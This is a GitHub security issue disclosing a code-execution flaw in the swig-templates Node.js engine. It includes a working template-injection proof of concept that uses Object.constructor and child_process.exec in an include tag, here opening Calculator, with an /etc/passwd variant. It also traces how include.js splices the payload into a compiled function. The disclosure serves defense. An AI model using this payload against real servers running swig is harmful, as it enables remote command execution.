Skip to content
This repository was archived by the owner on Feb 3, 2023. It is now read-only.
This repository was archived by the owner on Feb 3, 2023. It is now read-only.

Security Issue: code execution vulnerability during template rendering #89

@y1nglamore

Description

@y1nglamore

official doc

poc

tpl.html

You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} 

or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

run.js

var swig = require('swig-templates');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

the code above will execute open -a Calculator.app command
m1-134808_ia1CFt

gif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif

Reason

include.js will do some code splicing

return (
(ignore ? ' try {\n' : '') +
'_output += _swig.compileFile(' +
file +
', {' +
'resolveFrom: "' +
parentFile +
'"' +
'})(' +
(onlyCtx && w ? w : !w ? '_ctx' : '_utils.extend({}, _ctx, ' + w + ')') +
');\n' +
(ignore ? '} catch (e) {}\n' : '')
)
}

the return value will be added to var out

o = token.compile(
exports.compile,
token.args ? token.args.slice(0) : [],
token.content ? token.content.slice(0) : [],
parents,
options,
blockName
)
out += o || ''

finally the value of out:

_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx,  + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));

the out will be used to make an anonymous function, and then call the function
m1-140208_EIzVeN

if you debug in detail, you will find that it will call the following anonymous funciton:

(function anonymous(
) {
global.process.mainModule.require('child_process').exec('open -a Calculator.app')
})

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions